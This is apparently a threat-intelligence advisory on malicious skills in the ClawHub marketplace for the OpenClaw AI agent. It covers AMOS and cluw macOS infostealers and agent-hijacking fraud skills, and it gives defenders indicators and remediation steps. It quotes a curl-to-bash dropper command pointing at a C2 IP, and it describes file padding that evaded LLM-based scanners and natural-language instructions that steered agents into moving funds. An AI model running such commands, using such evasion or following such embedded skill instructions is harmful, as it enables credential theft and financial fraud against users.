Malicious ClawHub Skills Threaten OpenClaw AI Agent Supply Chain (AMOS, cluw, Solana Front-Running)

Malicious ClawHub Skills Threaten OpenClaw AI Agent Supply (TL-2026-1024), also tracked as OpenClaw Skill Marketplace Supply Chain Attack, is a high-severity supply-chain compromise, first published 2026-07-01. It has no confirmed attribution, affects OpenClaw ClawHub Skill Marketplace, maps to 20 MITRE ATT&CK techniques (T1005, T1027, T1036), and is covered by 9 detection rules and 28 indicators of compromise.

Key facts for TL-2026-1024

Threat ID
TL-2026-1024
Also known as
OpenClaw Skill Marketplace Supply Chain Attack, ClawHub Malicious Skills Campaign
Severity
HIGH
Status
ACTIVE
Category
SUPPLY_CHAIN
First published
2026-07-01
Last reviewed
2026-07-01
Attribution confidence
NONE
Motivation
FINANCIAL
Target sectors
technology, finance, cryptocurrency, individualconsumers
Target regions
Mainland China, hong kong, singapore, Global (macOS/OpenClaw user base)
Detection rules
9
Indicators of compromise
28

Malware and tooling in Malicious ClawHub Skills Threaten OpenClaw AI Agent Supply

Malware and tooling: AMOS, cluw

Unit 42 (Palo Alto Networks) identified five malicious skills distributed via ClawHub, the third-party skill marketplace for the OpenClaw AI agent, active between February and May 2026. The skills spanned macOS infostealers (cluw, Atomic macOS Stealer/AMOS) delivered via curl-pipe-bash droppers, a 22MB README.md file-padding technique that bypassed VirusTotal and ClawScan scanning, and two novel agentic-financial-fraud schemes ('money-radar' affiliate-link hijacking and 'letssendit' Solana pump-and-dump front-running) that hijacked AI agent behavior via natural-language/semantic instruction manipulation rather than a software vulnerability.

How Malicious ClawHub Skills Threaten OpenClaw AI Agent Supply works

Between February and May 2026, Unit 42 researchers analyzed ClawHub, the community skill marketplace that extends the OpenClaw AI agent framework, and identified five malicious skills that evaded ClawHub's built-in VirusTotal and ClawScan (LLM-based semantic code review) security screening. Two skills — 'ai-tradingview-assistant-for-macos' and a related 'tradingview-ai-indicator-assistant' variant — posed as macOS trading-assistant tools but silently deployed a Base64-encoded curl-pipe-bash dropper that fetched the 'cluw' macOS infostealer from a fresh C2 server at 2.26.75.16. A third skill, 'omnicogg', embedded a similar dropper for the well-known Atomic macOS Stealer (AMOS) inside its README.md file, then padded that file with roughly 22MB of junk characters specifically to exceed the ~10MB hard file-size cutoffs that ClawDex (ClawHub's LLM-based semantic scanner) and other pipeline stages silently truncate at — a scanner-evasion technique that let the embedded curl-to-bash command (`/bin/bash -c "$(curl -fsSL http://91.92.242.30/ozv614w31u0f80wy)"`) reach installers undetected for at least 19 days and over 5,000 downloads before JFrog Security disclosed it in March 2026. AMOS's C2 at 91.92.242.30 remained active for more than three months after public disclosure. AMOS and cluw both harvest macOS Keychain credentials, browser cookies/login data, desktop and document files, system information, and cryptocurrency wallet data (Electrum, Binance, Exodus, Atomic, Coinomi), compress it into a ZIP archive, and exfiltrate it over HTTP POST to the C2 in chunks of up to 25MB with automatic retry and fallback to a secondary hardcoded IP. Separately, two skills weaponized the OpenClaw agent's own decision-making authority rather than delivering conventional malware. 'money-radar' posed as a financial product advisor targeting users in mainland China, Hong Kong, and Singapore; at runtime it fetched a JSON payload from laosji[.]net and dynamically injected attacker-controlled affiliate tracking links into every financial recommendation the agent generated, letting the skill operator silently swap referred products post-installation without user awareness. 'letssendit' implemented an agentic front-running scheme on the Solana blockchain: agents that installed the skill were instructed, via natural-language prompts embedded in the skill definition, to pool SOL cryptocurrency into an operator-controlled wallet, after which the operator front-ran the crowd by purchasing the SENDIT meme token at the lowest available price before publicly launching it on pump[.]fun, profiting from the coordinated pump created by the unwitting agent network. Both fraud skills relied on 'semantic instruction hijacking' — natural-language content in SKILL.md files and fetched runtime payloads that manipulate an AI agent's interpretation of its own operating constraints, bypassing the need for a traditional software vulnerability entirely. Distribution for the infostealer skills leveraged paste-site redirect lures (rentry[.]co/openclaw-code, glot[.]io/snippets/hfd3x9ueu5) and deceptive human-in-the-loop dialog boxes that trick the user into manually entering their macOS password to complete infection. Unit 42 reported all five skills to ClawHub; OpenClaw subsequently banned the associated publisher accounts and deleted the skills. No CVE was assigned because this is a platform-trust/marketplace-vetting failure rather than a software vulnerability in OpenClaw itself.

MITRE ATT&CK techniques used in TL-2026-1024

Collection

T1005 Data from Local System; T1560 Archive Collected Data

Defense Evasion

T1027 Obfuscated Files or Information; T1036 Masquerading; T1140 Deobfuscate/Decode Files or Information; T1564 Hide Artifacts

Exfiltration

T1041 Exfiltration Over C2 Channel

Persistence

T1053.003 Cron

Execution

T1059.004 Unix Shell; T1204.002 Malicious File

Command and Control

T1071.001 Web Protocols; T1105 Ingress Tool Transfer

Discovery

T1082 System Information Discovery

Initial Access

T1195.002 Compromise Software Supply Chain; T1566 Phishing

Credential Access

T1552.001 Credentials In Files; T1555.001 Keychain

Resource Development

T1583 Acquire Infrastructure; T1608.001 Upload Malware

Impact

T1657 Financial Theft

Affected products and versions in Malicious ClawHub Skills Threaten OpenClaw AI Agent Supply

  • OpenClaw — ClawHub Skill Marketplace
    Vulnerable versions: all versions prior to takedown (Feb-May 2026)
    Fixed in: N/A - affected skills removed, publisher accounts banned
  • OpenClaw — OpenClaw AI Agent (macOS runtime)
    Vulnerable versions: all versions permitting third-party skill installation from ClawHub
    Fixed in: N/A - platform trust/vetting issue, no version fix

Remediation for Malicious ClawHub Skills Threaten OpenClaw AI Agent Supply

Immediate actions

  • Block outbound traffic to 2.26.75.16 and 91.92.242.30 at the perimeter and DNS layer
  • Block/sinkhole laosji.net and letssendit.fun
  • Uninstall and quarantine any ClawHub skill named ai-tradingview-assistant-for-macos, tradingview-ai-indicator-assistant, omnicogg, money-radar, letssendit, or santi-text-game from OpenClaw agent installations
  • Rotate any macOS Keychain, browser, GitHub, Discord, Reddit, Steam, Spotify, or YouTube credentials on hosts that installed the affected skills
  • Audit cron jobs on affected macOS hosts for unauthorized persistence entries
  • Revoke and rotate any cryptocurrency wallet keys (Electrum, Binance, Exodus, Atomic, Coinomi) accessed on infected hosts

Workarounds

  • Disable ClawHub third-party skill installation until organizational allow-listing is enforced
  • Restrict OpenClaw agent execution environments from having Bash/shell execution and network egress by default

Longer-term hardening

  • Enforce hash-pinning and provenance verification for third-party AI agent skills before install
  • Deploy EDR with behavioral detection for curl-pipe-bash execution patterns and Keychain access anomalies on macOS fleets
  • Add file-size-aware, non-truncating scanning to any internal AI-skill or plugin vetting pipeline (do not silently skip files above a size threshold)
  • Require human-reviewed, non-LLM-only static analysis for marketplace submissions above the semantic scanner's size cutoff
  • Implement runtime monitoring for AI agents that flags dynamically fetched/altered instruction payloads (e.g., JSON-based behavior injection) as a controls violation
  • Establish organizational policy restricting AI agents from autonomously moving funds/cryptocurrency or generating financial recommendations without human-in-the-loop approval

Weaknesses (CWE) in Malicious ClawHub Skills Threaten OpenClaw AI Agent Supply

CWE-506, CWE-829, CWE-1104

Timeline of Malicious ClawHub Skills Threaten OpenClaw AI Agent Supply

  • Malicious ClawHub skill campaigns active; Bitdefender Labs reports roughly 17% of scanned ClawHub skills as malicious around this period, prompting ClawHub to integrate VirusTotal screening.
  • JFrog Security Research publicly discloses the 'omnicogg' ClawHub skill, detailing its 22MB README.md file-padding technique used to smuggle an AMOS dropper past ClawDex, VirusTotal, and ClawScan screening; the skill had been live for at least 19 days and exceeded 5,000 downloads.
  • Intego Antivirus Labs investigates a related macOS malware campaign delivering the OSX/Amos stealer via trojanized Electron ASAR archives, illustrating the broader AMOS distribution ecosystem feeding ClawHub abuse.
  • AMOS C2 server at 91.92.242.30 remains active more than three months after the omnicogg skill's initial public disclosure, indicating sustained operator infrastructure.
  • Unit 42's February-May 2026 analysis window closes, having identified five malicious ClawHub skills (two infostealer variants, one evasion-focused dropper, two agentic-financial-fraud skills) that evaded ClawHub's built-in screening.
  • The 'ai-tradingview-assistant-for-macos' and 'tradingview-ai-indicator-assistant' skills are published to ClawHub, later found to deploy the cluw macOS infostealer via a curl-pipe-bash dropper pointing to C2 at 2.26.75.16.
  • Unit 42 reports all five malicious skills to ClawHub; OpenClaw bans the associated publisher accounts and deletes the offending skill listings (ai-tradingview-assistant-for-macos, tradingview-ai-indicator-assistant, omnicogg, money-radar, letssendit).
  • ClawHub announces a partnership with NVIDIA, raising scrutiny of the marketplace's security posture given the concurrent malicious-skill findings.
  • Unit 42 publishes 'OpenClaw's Skill Marketplace and the Emerging AI Supply Chain Threat,' with Dark Reading, CybersecurityNews, CyberPress, GBHackers, and Mallory.ai syndicating and expanding on the findings.

Sources cited for Malicious ClawHub Skills Threaten OpenClaw AI Agent Supply

Threats related to Malicious ClawHub Skills Threaten OpenClaw AI Agent Supply

Detection coverage for TL-2026-1024

As of 2026-07-01, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1024 across Splunk SPL, Microsoft KQL and Sigma, covering 28 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Community OSINT corroboration for TL-2026-1024

4 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.

Further reading

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats